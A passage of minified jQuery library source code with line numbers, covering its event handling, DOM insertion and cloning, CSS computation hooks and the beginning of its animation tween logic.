  1540. c.setAttribute("type", "radio"), c.setAttribute("checked", "checked"), c.setAttribute("name", "t"), b.appendChild(c), o.checkClone = b.cloneNode(!0).cloneNode(!0).lastChild.checked, b.innerHTML = "<textarea>x</textarea>", o.noCloneChecked = !!b.cloneNode(!0).lastChild.defaultValue
  1541. }();
  1542. var pa = d.documentElement,
  1543. qa = /^key/,
  1544. ra = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,
  1545. sa = /^([^.]*)(?:\.(.+)|)/;
  1546.  
  1547. function ta() {
  1548. return !0
  1549. }
  1550.  
  1551. function ua() {
  1552. return !1
  1553. }
  1554.  
  1555. function va() {
  1556. try {
  1557. return d.activeElement
  1558. } catch (a) {}
  1559. }
  1560.  
  1561. function wa(a, b, c, d, e, f) {
  1562. var g, h;
  1563. if ("object" == typeof b) {
  1564. "string" != typeof c && (d = d || c, c = void 0);
  1565. for (h in b) wa(a, h, c, d, b[h], f);
  1566. return a
  1567. }
  1568. if (null == d && null == e ? (e = c, d = c = void 0) : null == e && ("string" == typeof c ? (e = d, d = void 0) : (e = d, d = c, c = void 0)), e === !1) e = ua;
  1569. else if (!e) return a;
  1570. return 1 === f && (g = e, e = function(a) {
  1571. return r().off(a), g.apply(this, arguments)
  1572. }, e.guid = g.guid || (g.guid = r.guid++)), a.each(function() {
  1573. r.event.add(this, b, e, d, c)
  1574. })
  1575. }
  1576. r.event = {
  1577. global: {},
  1578. add: function(a, b, c, d, e) {
  1579. var f, g, h, i, j, k, l, m, n, o, p, q = V.get(a);
  1580. if (q) {
  1581. c.handler && (f = c, c = f.handler, e = f.selector), e && r.find.matchesSelector(pa, e), c.guid || (c.guid = r.guid++), (i = q.events) || (i = q.events = {}), (g = q.handle) || (g = q.handle = function(b) {
  1582. return "undefined" != typeof r && r.event.triggered !== b.type ? r.event.dispatch.apply(a, arguments) : void 0
  1583. }), b = (b || "").match(K) || [""], j = b.length;
  1584. while (j--) h = sa.exec(b[j]) || [], n = p = h[1], o = (h[2] || "").split(".").sort(), n && (l = r.event.special[n] || {}, n = (e ? l.delegateType : l.bindType) || n, l = r.event.special[n] || {}, k = r.extend({
  1585. type: n,
  1586. origType: p,
  1587. data: d,
  1588. handler: c,
  1589. guid: c.guid,
  1590. selector: e,
  1591. needsContext: e && r.expr.match.needsContext.test(e),
  1592. namespace: o.join(".")
  1593. }, f), (m = i[n]) || (m = i[n] = [], m.delegateCount = 0, l.setup && l.setup.call(a, d, o, g) !== !1 || a.addEventListener && a.addEventListener(n, g)), l.add && (l.add.call(a, k), k.handler.guid || (k.handler.guid = c.guid)), e ? m.splice(m.delegateCount++, 0, k) : m.push(k), r.event.global[n] = !0)
  1594. }
  1595. },
  1596. remove: function(a, b, c, d, e) {
  1597. var f, g, h, i, j, k, l, m, n, o, p, q = V.hasData(a) && V.get(a);
  1598. if (q && (i = q.events)) {
  1599. b = (b || "").match(K) || [""], j = b.length;
  1600. while (j--)
  1601. if (h = sa.exec(b[j]) || [], n = p = h[1], o = (h[2] || "").split(".").sort(), n) {
  1602. l = r.event.special[n] || {}, n = (d ? l.delegateType : l.bindType) || n, m = i[n] || [], h = h[2] && new RegExp("(^|\\.)" + o.join("\\.(?:.*\\.|)") + "(\\.|$)"), g = f = m.length;
  1603. while (f--) k = m[f], !e && p !== k.origType || c && c.guid !== k.guid || h && !h.test(k.namespace) || d && d !== k.selector && ("**" !== d || !k.selector) || (m.splice(f, 1), k.selector && m.delegateCount--, l.remove && l.remove.call(a, k));
  1604. g && !m.length && (l.teardown && l.teardown.call(a, o, q.handle) !== !1 || r.removeEvent(a, n, q.handle), delete i[n])
  1605. } else
  1606. for (n in i) r.event.remove(a, n + b[j], c, d, !0);
  1607. r.isEmptyObject(i) && V.remove(a, "handle events")
  1608. }
  1609. },
  1610. dispatch: function(a) {
  1611. var b = r.event.fix(a),
  1612. c, d, e, f, g, h, i = new Array(arguments.length),
  1613. j = (V.get(this, "events") || {})[b.type] || [],
  1614. k = r.event.special[b.type] || {};
  1615. for (i[0] = b, c = 1; c < arguments.length; c++) i[c] = arguments[c];
  1616. if (b.delegateTarget = this, !k.preDispatch || k.preDispatch.call(this, b) !== !1) {
  1617. h = r.event.handlers.call(this, b, j), c = 0;
  1618. while ((f = h[c++]) && !b.isPropagationStopped()) {
  1619. b.currentTarget = f.elem, d = 0;
  1620. while ((g = f.handlers[d++]) && !b.isImmediatePropagationStopped()) b.rnamespace && !b.rnamespace.test(g.namespace) || (b.handleObj = g, b.data = g.data, e = ((r.event.special[g.origType] || {}).handle || g.handler).apply(f.elem, i), void 0 !== e && (b.result = e) === !1 && (b.preventDefault(), b.stopPropagation()))
  1621. }
  1622. return k.postDispatch && k.postDispatch.call(this, b), b.result
  1623. }
  1624. },
  1625. handlers: function(a, b) {
  1626. var c, d, e, f, g = [],
  1627. h = b.delegateCount,
  1628. i = a.target;
  1629. if (h && i.nodeType && ("click" !== a.type || isNaN(a.button) || a.button < 1))
  1630. for (; i !== this; i = i.parentNode || this)
  1631. if (1 === i.nodeType && (i.disabled !== !0 || "click" !== a.type)) {
  1632. for (d = [], c = 0; c < h; c++) f = b[c], e = f.selector + " ", void 0 === d[e] && (d[e] = f.needsContext ? r(e, this).index(i) > -1 : r.find(e, this, null, [i]).length), d[e] && d.push(f);
  1633. d.length && g.push({
  1634. elem: i,
  1635. handlers: d
  1636. })
  1637. }
  1638. return h < b.length && g.push({
  1639. elem: this,
  1640. handlers: b.slice(h)
  1641. }), g
  1642. },
  1643. addProp: function(a, b) {
  1644. Object.defineProperty(r.Event.prototype, a, {
  1645. enumerable: !0,
  1646. configurable: !0,
  1647. get: r.isFunction(b) ? function() {
  1648. if (this.originalEvent) return b(this.originalEvent)
  1649. } : function() {
  1650. if (this.originalEvent) return this.originalEvent[a]
  1651. },
  1652. set: function(b) {
  1653. Object.defineProperty(this, a, {
  1654. enumerable: !0,
  1655. configurable: !0,
  1656. writable: !0,
  1657. value: b
  1658. })
  1659. }
  1660. })
  1661. },
  1662. fix: function(a) {
  1663. return a[r.expando] ? a : new r.Event(a)
  1664. },
  1665. special: {
  1666. load: {
  1667. noBubble: !0
  1668. },
  1669. focus: {
  1670. trigger: function() {
  1671. if (this !== va() && this.focus) return this.focus(), !1
  1672. },
  1673. delegateType: "focusin"
  1674. },
  1675. blur: {
  1676. trigger: function() {
  1677. if (this === va() && this.blur) return this.blur(), !1
  1678. },
  1679. delegateType: "focusout"
  1680. },
  1681. click: {
  1682. trigger: function() {
  1683. if ("checkbox" === this.type && this.click && r.nodeName(this, "input")) return this.click(), !1
  1684. },
  1685. _default: function(a) {
  1686. return r.nodeName(a.target, "a")
  1687. }
  1688. },
  1689. beforeunload: {
  1690. postDispatch: function(a) {
  1691. void 0 !== a.result && a.originalEvent && (a.originalEvent.returnValue = a.result)
  1692. }
  1693. }
  1694. }
  1695. }, r.removeEvent = function(a, b, c) {
  1696. a.removeEventListener && a.removeEventListener(b, c)
  1697. }, r.Event = function(a, b) {
  1698. return this instanceof r.Event ? (a && a.type ? (this.originalEvent = a, this.type = a.type, this.isDefaultPrevented = a.defaultPrevented || void 0 === a.defaultPrevented && a.returnValue === !1 ? ta : ua, this.target = a.target && 3 === a.target.nodeType ? a.target.parentNode : a.target, this.currentTarget = a.currentTarget, this.relatedTarget = a.relatedTarget) : this.type = a, b && r.extend(this, b), this.timeStamp = a && a.timeStamp || r.now(), void(this[r.expando] = !0)) : new r.Event(a, b)
  1699. }, r.Event.prototype = {
  1700. constructor: r.Event,
  1701. isDefaultPrevented: ua,
  1702. isPropagationStopped: ua,
  1703. isImmediatePropagationStopped: ua,
  1704. isSimulated: !1,
  1705. preventDefault: function() {
  1706. var a = this.originalEvent;
  1707. this.isDefaultPrevented = ta, a && !this.isSimulated && a.preventDefault()
  1708. },
  1709. stopPropagation: function() {
  1710. var a = this.originalEvent;
  1711. this.isPropagationStopped = ta, a && !this.isSimulated && a.stopPropagation()
  1712. },
  1713. stopImmediatePropagation: function() {
  1714. var a = this.originalEvent;
  1715. this.isImmediatePropagationStopped = ta, a && !this.isSimulated && a.stopImmediatePropagation(), this.stopPropagation()
  1716. }
  1717. }, r.each({
  1718. altKey: !0,
  1719. bubbles: !0,
  1720. cancelable: !0,
  1721. changedTouches: !0,
  1722. ctrlKey: !0,
  1723. detail: !0,
  1724. eventPhase: !0,
  1725. metaKey: !0,
  1726. pageX: !0,
  1727. pageY: !0,
  1728. shiftKey: !0,
  1729. view: !0,
  1730. "char": !0,
  1731. charCode: !0,
  1732. key: !0,
  1733. keyCode: !0,
  1734. button: !0,
  1735. buttons: !0,
  1736. clientX: !0,
  1737. clientY: !0,
  1738. offsetX: !0,
  1739. offsetY: !0,
  1740. pointerId: !0,
  1741. pointerType: !0,
  1742. screenX: !0,
  1743. screenY: !0,
  1744. targetTouches: !0,
  1745. toElement: !0,
  1746. touches: !0,
  1747. which: function(a) {
  1748. var b = a.button;
  1749. return null == a.which && qa.test(a.type) ? null != a.charCode ? a.charCode : a.keyCode : !a.which && void 0 !== b && ra.test(a.type) ? 1 & b ? 1 : 2 & b ? 3 : 4 & b ? 2 : 0 : a.which
  1750. }
  1751. }, r.event.addProp), r.each({
  1752. mouseenter: "mouseover",
  1753. mouseleave: "mouseout",
  1754. pointerenter: "pointerover",
  1755. pointerleave: "pointerout"
  1756. }, function(a, b) {
  1757. r.event.special[a] = {
  1758. delegateType: b,
  1759. bindType: b,
  1760. handle: function(a) {
  1761. var c, d = this,
  1762. e = a.relatedTarget,
  1763. f = a.handleObj;
  1764. return e && (e === d || r.contains(d, e)) || (a.type = f.origType, c = f.handler.apply(this, arguments), a.type = b), c
  1765. }
  1766. }
  1767. }), r.fn.extend({
  1768. on: function(a, b, c, d) {
  1769. return wa(this, a, b, c, d)
  1770. },
  1771. one: function(a, b, c, d) {
  1772. return wa(this, a, b, c, d, 1)
  1773. },
  1774. off: function(a, b, c) {
  1775. var d, e;
  1776. if (a && a.preventDefault && a.handleObj) return d = a.handleObj, r(a.delegateTarget).off(d.namespace ? d.origType + "." + d.namespace : d.origType, d.selector, d.handler), this;
  1777. if ("object" == typeof a) {
  1778. for (e in a) this.off(e, b, a[e]);
  1779. return this
  1780. }
  1781. return b !== !1 && "function" != typeof b || (c = b, b = void 0), c === !1 && (c = ua), this.each(function() {
  1782. r.event.remove(this, a, c, b)
  1783. })
  1784. }
  1785. });
  1786. var xa = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,
  1787. ya = /<script|<style|<link/i,
  1788. za = /checked\s*(?:[^=]|=\s*.checked.)/i,
  1789. Aa = /^true\/(.*)/,
  1790. Ba = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;
  1791.  
  1792. function Ca(a, b) {
  1793. return r.nodeName(a, "table") && r.nodeName(11 !== b.nodeType ? b : b.firstChild, "tr") ? a.getElementsByTagName("tbody")[0] || a : a
  1794. }
  1795.  
  1796. function Da(a) {
  1797. return a.type = (null !== a.getAttribute("type")) + "/" + a.type, a
  1798. }
  1799.  
  1800. function Ea(a) {
  1801. var b = Aa.exec(a.type);
  1802. return b ? a.type = b[1] : a.removeAttribute("type"), a
  1803. }
  1804.  
  1805. function Fa(a, b) {
  1806. var c, d, e, f, g, h, i, j;
  1807. if (1 === b.nodeType) {
  1808. if (V.hasData(a) && (f = V.access(a), g = V.set(b, f), j = f.events)) {
  1809. delete g.handle, g.events = {};
  1810. for (e in j)
  1811. for (c = 0, d = j[e].length; c < d; c++) r.event.add(b, e, j[e][c])
  1812. }
  1813. W.hasData(a) && (h = W.access(a), i = r.extend({}, h), W.set(b, i))
  1814. }
  1815. }
  1816.  
  1817. function Ga(a, b) {
  1818. var c = b.nodeName.toLowerCase();
  1819. "input" === c && ha.test(a.type) ? b.checked = a.checked : "input" !== c && "textarea" !== c || (b.defaultValue = a.defaultValue)
  1820. }
  1821.  
  1822. function Ha(a, b, c, d) {
  1823. b = g.apply([], b);
  1824. var e, f, h, i, j, k, l = 0,
  1825. m = a.length,
  1826. n = m - 1,
  1827. q = b[0],
  1828. s = r.isFunction(q);
  1829. if (s || m > 1 && "string" == typeof q && !o.checkClone && za.test(q)) return a.each(function(e) {
  1830. var f = a.eq(e);
  1831. s && (b[0] = q.call(this, e, f.html())), Ha(f, b, c, d)
  1832. });
  1833. if (m && (e = oa(b, a[0].ownerDocument, !1, a, d), f = e.firstChild, 1 === e.childNodes.length && (e = f), f || d)) {
  1834. for (h = r.map(la(e, "script"), Da), i = h.length; l < m; l++) j = e, l !== n && (j = r.clone(j, !0, !0), i && r.merge(h, la(j, "script"))), c.call(a[l], j, l);
  1835. if (i)
  1836. for (k = h[h.length - 1].ownerDocument, r.map(h, Ea), l = 0; l < i; l++) j = h[l], ja.test(j.type || "") && !V.access(j, "globalEval") && r.contains(k, j) && (j.src ? r._evalUrl && r._evalUrl(j.src) : p(j.textContent.replace(Ba, ""), k))
  1837. }
  1838. return a
  1839. }
  1840.  
  1841. function Ia(a, b, c) {
  1842. for (var d, e = b ? r.filter(b, a) : a, f = 0; null != (d = e[f]); f++) c || 1 !== d.nodeType || r.cleanData(la(d)), d.parentNode && (c && r.contains(d.ownerDocument, d) && ma(la(d, "script")), d.parentNode.removeChild(d));
  1843. return a
  1844. }
  1845. r.extend({
  1846. htmlPrefilter: function(a) {
  1847. return a.replace(xa, "<$1></$2>")
  1848. },
  1849. clone: function(a, b, c) {
  1850. var d, e, f, g, h = a.cloneNode(!0),
  1851. i = r.contains(a.ownerDocument, a);
  1852. if (!(o.noCloneChecked || 1 !== a.nodeType && 11 !== a.nodeType || r.isXMLDoc(a)))
  1853. for (g = la(h), f = la(a), d = 0, e = f.length; d < e; d++) Ga(f[d], g[d]);
  1854. if (b)
  1855. if (c)
  1856. for (f = f || la(a), g = g || la(h), d = 0, e = f.length; d < e; d++) Fa(f[d], g[d]);
  1857. else Fa(a, h);
  1858. return g = la(h, "script"), g.length > 0 && ma(g, !i && la(a, "script")), h
  1859. },
  1860. cleanData: function(a) {
  1861. for (var b, c, d, e = r.event.special, f = 0; void 0 !== (c = a[f]); f++)
  1862. if (T(c)) {
  1863. if (b = c[V.expando]) {
  1864. if (b.events)
  1865. for (d in b.events) e[d] ? r.event.remove(c, d) : r.removeEvent(c, d, b.handle);
  1866. c[V.expando] = void 0
  1867. }
  1868. c[W.expando] && (c[W.expando] = void 0)
  1869. }
  1870. }
  1871. }), r.fn.extend({
  1872. detach: function(a) {
  1873. return Ia(this, a, !0)
  1874. },
  1875. remove: function(a) {
  1876. return Ia(this, a)
  1877. },
  1878. text: function(a) {
  1879. return S(this, function(a) {
  1880. return void 0 === a ? r.text(this) : this.empty().each(function() {
  1881. 1 !== this.nodeType && 11 !== this.nodeType && 9 !== this.nodeType || (this.textContent = a)
  1882. })
  1883. }, null, a, arguments.length)
  1884. },
  1885. append: function() {
  1886. return Ha(this, arguments, function(a) {
  1887. if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
  1888. var b = Ca(this, a);
  1889. b.appendChild(a)
  1890. }
  1891. })
  1892. },
  1893. prepend: function() {
  1894. return Ha(this, arguments, function(a) {
  1895. if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
  1896. var b = Ca(this, a);
  1897. b.insertBefore(a, b.firstChild)
  1898. }
  1899. })
  1900. },
  1901. before: function() {
  1902. return Ha(this, arguments, function(a) {
  1903. this.parentNode && this.parentNode.insertBefore(a, this)
  1904. })
  1905. },
  1906. after: function() {
  1907. return Ha(this, arguments, function(a) {
  1908. this.parentNode && this.parentNode.insertBefore(a, this.nextSibling)
  1909. })
  1910. },
  1911. empty: function() {
  1912. for (var a, b = 0; null != (a = this[b]); b++) 1 === a.nodeType && (r.cleanData(la(a, !1)), a.textContent = "");
  1913. return this
  1914. },
  1915. clone: function(a, b) {
  1916. return a = null != a && a, b = null == b ? a : b, this.map(function() {
  1917. return r.clone(this, a, b)
  1918. })
  1919. },
  1920. html: function(a) {
  1921. return S(this, function(a) {
  1922. var b = this[0] || {},
  1923. c = 0,
  1924. d = this.length;
  1925. if (void 0 === a && 1 === b.nodeType) return b.innerHTML;
  1926. if ("string" == typeof a && !ya.test(a) && !ka[(ia.exec(a) || ["", ""])[1].toLowerCase()]) {
  1927. a = r.htmlPrefilter(a);
  1928. try {
  1929. for (; c < d; c++) b = this[c] || {}, 1 === b.nodeType && (r.cleanData(la(b, !1)), b.innerHTML = a);
  1930. b = 0
  1931. } catch (e) {}
  1932. }
  1933. b && this.empty().append(a)
  1934. }, null, a, arguments.length)
  1935. },
  1936. replaceWith: function() {
  1937. var a = [];
  1938. return Ha(this, arguments, function(b) {
  1939. var c = this.parentNode;
  1940. r.inArray(this, a) < 0 && (r.cleanData(la(this)), c && c.replaceChild(b, this))
  1941. }, a)
  1942. }
  1943. }), r.each({
  1944. appendTo: "append",
  1945. prependTo: "prepend",
  1946. insertBefore: "before",
  1947. insertAfter: "after",
  1948. replaceAll: "replaceWith"
  1949. }, function(a, b) {
  1950. r.fn[a] = function(a) {
  1951. for (var c, d = [], e = r(a), f = e.length - 1, g = 0; g <= f; g++) c = g === f ? this : this.clone(!0), r(e[g])[b](c), h.apply(d, c.get());
  1952. return this.pushStack(d)
  1953. }
  1954. });
  1955. var Ja = /^margin/,
  1956. Ka = new RegExp("^(" + $ + ")(?!px)[a-z%]+$", "i"),
  1957. La = function(b) {
  1958. var c = b.ownerDocument.defaultView;
  1959. return c && c.opener || (c = a), c.getComputedStyle(b)
  1960. };
  1961. ! function() {
  1962. function b() {
  1963. if (i) {
  1964. i.style.cssText = "box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%", i.innerHTML = "", pa.appendChild(h);
  1965. var b = a.getComputedStyle(i);
  1966. c = "1%" !== b.top, g = "2px" === b.marginLeft, e = "4px" === b.width, i.style.marginRight = "50%", f = "4px" === b.marginRight, pa.removeChild(h), i = null
  1967. }
  1968. }
  1969. var c, e, f, g, h = d.createElement("div"),
  1970. i = d.createElement("div");
  1971. i.style && (i.style.backgroundClip = "content-box", i.cloneNode(!0).style.backgroundClip = "", o.clearCloneStyle = "content-box" === i.style.backgroundClip, h.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute", h.appendChild(i), r.extend(o, {
  1972. pixelPosition: function() {
  1973. return b(), c
  1974. },
  1975. boxSizingReliable: function() {
  1976. return b(), e
  1977. },
  1978. pixelMarginRight: function() {
  1979. return b(), f
  1980. },
  1981. reliableMarginLeft: function() {
  1982. return b(), g
  1983. }
  1984. }))
  1985. }();
  1986.  
  1987. function Ma(a, b, c) {
  1988. var d, e, f, g, h = a.style;
  1989. return c = c || La(a), c && (g = c.getPropertyValue(b) || c[b], "" !== g || r.contains(a.ownerDocument, a) || (g = r.style(a, b)), !o.pixelMarginRight() && Ka.test(g) && Ja.test(b) && (d = h.width, e = h.minWidth, f = h.maxWidth, h.minWidth = h.maxWidth = h.width = g, g = c.width, h.width = d, h.minWidth = e, h.maxWidth = f)), void 0 !== g ? g + "" : g
  1990. }
  1991.  
  1992. function Na(a, b) {
  1993. return {
  1994. get: function() {
  1995. return a() ? void delete this.get : (this.get = b).apply(this, arguments)
  1996. }
  1997. }
  1998. }
  1999. var Oa = /^(none|table(?!-c[ea]).+)/,
  2000. Pa = {
  2001. position: "absolute",
  2002. visibility: "hidden",
  2003. display: "block"
  2004. },
  2005. Qa = {
  2006. letterSpacing: "0",
  2007. fontWeight: "400"
  2008. },
  2009. Ra = ["Webkit", "Moz", "ms"],
  2010. Sa = d.createElement("div").style;
  2011.  
  2012. function Ta(a) {
  2013. if (a in Sa) return a;
  2014. var b = a[0].toUpperCase() + a.slice(1),
  2015. c = Ra.length;
  2016. while (c--)
  2017. if (a = Ra[c] + b, a in Sa) return a
  2018. }
  2019.  
  2020. function Ua(a, b, c) {
  2021. var d = _.exec(b);
  2022. return d ? Math.max(0, d[2] - (c || 0)) + (d[3] || "px") : b
  2023. }
  2024.  
  2025. function Va(a, b, c, d, e) {
  2026. for (var f = c === (d ? "border" : "content") ? 4 : "width" === b ? 1 : 0, g = 0; f < 4; f += 2) "margin" === c && (g += r.css(a, c + aa[f], !0, e)), d ? ("content" === c && (g -= r.css(a, "padding" + aa[f], !0, e)), "margin" !== c && (g -= r.css(a, "border" + aa[f] + "Width", !0, e))) : (g += r.css(a, "padding" + aa[f], !0, e), "padding" !== c && (g += r.css(a, "border" + aa[f] + "Width", !0, e)));
  2027. return g
  2028. }
  2029.  
  2030. function Wa(a, b, c) {
  2031. var d, e = !0,
  2032. f = La(a),
  2033. g = "border-box" === r.css(a, "boxSizing", !1, f);
  2034. if (a.getClientRects().length && (d = a.getBoundingClientRect()[b]), d <= 0 || null == d) {
  2035. if (d = Ma(a, b, f), (d < 0 || null == d) && (d = a.style[b]), Ka.test(d)) return d;
  2036. e = g && (o.boxSizingReliable() || d === a.style[b]), d = parseFloat(d) || 0
  2037. }
  2038. return d + Va(a, b, c || (g ? "border" : "content"), e, f) + "px"
  2039. }
  2040. r.extend({
  2041. cssHooks: {
  2042. opacity: {
  2043. get: function(a, b) {
  2044. if (b) {
  2045. var c = Ma(a, "opacity");
  2046. return "" === c ? "1" : c
  2047. }
  2048. }
  2049. }
  2050. },
  2051. cssNumber: {
  2052. animationIterationCount: !0,
  2053. columnCount: !0,
  2054. fillOpacity: !0,
  2055. flexGrow: !0,
  2056. flexShrink: !0,
  2057. fontWeight: !0,
  2058. lineHeight: !0,
  2059. opacity: !0,
  2060. order: !0,
  2061. orphans: !0,
  2062. widows: !0,
  2063. zIndex: !0,
  2064. zoom: !0
  2065. },
  2066. cssProps: {
  2067. "float": "cssFloat"
  2068. },
  2069. style: function(a, b, c, d) {
  2070. if (a && 3 !== a.nodeType && 8 !== a.nodeType && a.style) {
  2071. var e, f, g, h = r.camelCase(b),
  2072. i = a.style;
  2073. return b = r.cssProps[h] || (r.cssProps[h] = Ta(h) || h), g = r.cssHooks[b] || r.cssHooks[h], void 0 === c ? g && "get" in g && void 0 !== (e = g.get(a, !1, d)) ? e : i[b] : (f = typeof c, "string" === f && (e = _.exec(c)) && e[1] && (c = da(a, b, e), f = "number"), null != c && c === c && ("number" === f && (c += e && e[3] || (r.cssNumber[h] ? "" : "px")), o.clearCloneStyle || "" !== c || 0 !== b.indexOf("background") || (i[b] = "inherit"), g && "set" in g && void 0 === (c = g.set(a, c, d)) || (i[b] = c)), void 0)
  2074. }
  2075. },
  2076. css: function(a, b, c, d) {
  2077. var e, f, g, h = r.camelCase(b);
  2078. return b = r.cssProps[h] || (r.cssProps[h] = Ta(h) || h), g = r.cssHooks[b] || r.cssHooks[h], g && "get" in g && (e = g.get(a, !0, c)), void 0 === e && (e = Ma(a, b, d)), "normal" === e && b in Qa && (e = Qa[b]), "" === c || c ? (f = parseFloat(e), c === !0 || isFinite(f) ? f || 0 : e) : e
  2079. }
  2080. }), r.each(["height", "width"], function(a, b) {
  2081. r.cssHooks[b] = {
  2082. get: function(a, c, d) {
  2083. if (c) return !Oa.test(r.css(a, "display")) || a.getClientRects().length && a.getBoundingClientRect().width ? Wa(a, b, d) : ca(a, Pa, function() {
  2084. return Wa(a, b, d)
  2085. })
  2086. },
  2087. set: function(a, c, d) {
  2088. var e, f = d && La(a),
  2089. g = d && Va(a, b, d, "border-box" === r.css(a, "boxSizing", !1, f), f);
  2090. return g && (e = _.exec(c)) && "px" !== (e[3] || "px") && (a.style[b] = c, c = r.css(a, b)), Ua(a, c, g)
  2091. }
  2092. }
  2093. }), r.cssHooks.marginLeft = Na(o.reliableMarginLeft, function(a, b) {
  2094. if (b) return (parseFloat(Ma(a, "marginLeft")) || a.getBoundingClientRect().left - ca(a, {
  2095. marginLeft: 0
  2096. }, function() {
  2097. return a.getBoundingClientRect().left
  2098. })) + "px"
  2099. }), r.each({
  2100. margin: "",
  2101. padding: "",
  2102. border: "Width"
  2103. }, function(a, b) {
  2104. r.cssHooks[a + b] = {
  2105. expand: function(c) {
  2106. for (var d = 0, e = {}, f = "string" == typeof c ? c.split(" ") : [c]; d < 4; d++) e[a + aa[d] + b] = f[d] || f[d - 2] || f[0];
  2107. return e
  2108. }
  2109. }, Ja.test(a) || (r.cssHooks[a + b].set = Ua)
  2110. }), r.fn.extend({
  2111. css: function(a, b) {
  2112. return S(this, function(a, b, c) {
  2113. var d, e, f = {},
  2114. g = 0;
  2115. if (r.isArray(b)) {
  2116. for (d = La(a), e = b.length; g < e; g++) f[b[g]] = r.css(a, b[g], !1, d);
  2117. return f
  2118. }
  2119. return void 0 !== c ? r.style(a, b, c) : r.css(a, b)
  2120. }, a, b, arguments.length > 1)
  2121. }
  2122. });
  2123.  
  2124. function Xa(a, b, c, d, e) {
  2125. return new Xa.prototype.init(a, b, c, d, e)
  2126. }
  2127. r.Tween = Xa, Xa.prototype = {
  2128. constructor: Xa,
  2129. init: function(a, b, c, d, e, f) {
  2130. this.elem = a, this.prop = c, this.easing = e || r.easing._default, this.options = b, this.start = this.now = this.cur(), this.end = d, this.unit = f || (r.cssNumber[c] ? "" : "px")
  2131. },
  2132. cur: function() {
  2133. var a = Xa.propHooks[this.prop];
  2134. return a && a.get ? a.get(this) : Xa.propHooks._default.get(this)
  2135. },
  2136. run: function(a) {
  2137. var b, c = Xa.propHooks[this.prop];
  2138. return this.options.duration ? this.pos = b = r.easing[this.easing](a, this.options.duration * a, 0, 1, this.options.duration) : this.pos = b = a, this.now = (this.end - this.start) * b + this.start, this.options.step && this.options.step.call(this.elem, this.now, this), c && c.set ? c.set(this) : Xa.propHooks._default.set(this), this
  2139. }
  2140. }, Xa.prototype.init.prototype = Xa.prototype, Xa.propHooks = {
  2141. _default: {
  2142. get: function(a) {
  2143. var b;
  2144. return 1 !== a.elem.nodeType || null != a.elem[a.prop] && null == a.elem.style[a.prop] ? a.elem[a.prop] : (b = r.css(a.elem, a.prop, ""), b && "auto" !== b ? b : 0)
  2145. },
  2146. set: function(a) {
  2147. r.fx.step[a.prop] ? r.fx.step[a.prop](a) : 1 !== a.elem.nodeType || null == a.elem.style[r.cssProps[a.prop]] && !r.cssHooks[a.prop] ? a.elem[a.prop] = a.now : r.style(a.elem, a.prop, a.now + a.unit)
  2148. }
  2149. }
  2150. }, Xa.propHooks.scrollTop = Xa.propHooks.scrollLeft = {
  2151. set: function(a) {
  2152. a.elem.nodeType && a.elem.parentNode && (a.elem[a.prop] = a.now)
  2153. }
  2154. }, r.easing = {
  2155. linear: function(a) {
  2156. return a
  2157. },
  2158. swing: function(a) {
  2159. return .5 - Math.cos(a * Math.PI) / 2
  2160. },
  2161. _default: "swing"
  2162. }, r.fx = Xa.prototype.init, r.fx.step = {};
  2163. var Ya, Za, $a = /^(?:toggle|show|hide)$/,
  2164. _a = /queueHooks$/;
  2165.  
  2166. function ab() {
  2167. Za && (a.requestAnimationFrame(ab), r.fx.tick())
  2168. }
  2169.  
  2170. function bb() {
  2171. return a.setTimeout(function() {
  2172. Ya = void 0
  2173. }), Ya = r.now()
  2174. }
  2175.  
  2176. function cb(a, b) {
  2177. var c, d = 0,
  2178. e = {
  2179. height: a
  2180. };
  2181. for (b = b ? 1 : 0; d < 4; d += 2 - b) c = aa[d], e["margin" + c] = e["padding" + c] = a;
  2182. return b && (e.opacity = e.width = a), e
  2183. }
  2184.  
  2185. function db(a, b, c) {
  2186. for (var d, e = (gb.tweeners[b] || []).concat(gb.tweeners["*"]), f = 0, g = e.length; f < g; f++)
  2187. if (d = e[f].call(c, b, a)) return d
  2188. }
  2189.  
  2190. function eb(a, b, c) {
  2191. var d, e, f, g, h, i, j, k, l = "width" in b || "height" in b,
  2192. m = this,
  2193. n = {},
  2194. o = a.style,
  2195. p = a.nodeType && ba(a),
  2196. q = V.get(a, "fxshow");
  2197. c.queue || (g = r._queueHooks(a, "fx"), null == g.unqueued && (g.unqueued = 0, h = g.empty.fire, g.empty.fire = function() {
  2198. g.unqueued || h()
  2199. }), g.unqueued++, m.always(function() {
  2200. m.always(function() {
  2201. g.unqueued--, r.queue(a, "fx").length || g.empty.fire()
  2202. })
  2203. }));
  2204. for (d in b)
  2205. if (e = b[d], $a.test(e)) {
  2206. if (delete b[d], f = f || "toggle" === e, e === (p ? "hide" : "show")) {
  2207. if ("show" !== e || !q || void 0 === q[d]) continue;
  2208. p = !0
  2209. }
  2210. n[d] = q && q[d] || r.style(a, d)
  2211. }
  2212. if (i = !r.isEmptyObject(b), i || !r.isEmptyObject(n)) {
  2213. l && 1 === a.nodeType && (c.overflow = [o.overflow, o.overflowX, o.overflowY], j = q && q.display, null == j && (j = V.get(a, "display")), k = r.css(a, "display"), "none" === k && (j ? k = j : (ga([a], !0), j = a.style.display || j, k = r.css(a, "display"), ga([a]))), ("inline" === k || "inline-block" === k && null != j) && "none" === r.css(a, "float") && (i || (m.done(function() {
  2214. o.display = j
  2215. }), null == j && (k = o.display, j = "none" === k ? "" : k)), o.display = "inline-block")), c.overflow && (o.overflow = "hidden", m.always(function() {
  2216. o.overflow = c.overflow[0], o.overflowX = c.overflow[1], o.overflowY = c.overflow[2]
  2217. })), i = !1;
  2218. for (d in n) i || (q ? "hidden" in q && (p = q.hidden) : q = V.access(a, "fxshow", {
  2219. display: j
  2220. }), f && (q.hidden = !p), p && ga([a], !0), m.done(function() {
  2221. p || ga([a]), V.remove(a, "fxshow");
  2222. for (d in n) r.style(a, d, n[d])
  2223. })), i = db(p ? q[d] : 0, d, m), d in q || (q[d] = i.start, p && (i.end = i.start, i.start = 0))
  2224. }
  2225. }
  2226.  
  2227. function fb(a, b) {
  2228. var c, d, e, f, g;
  2229. for (c in a)
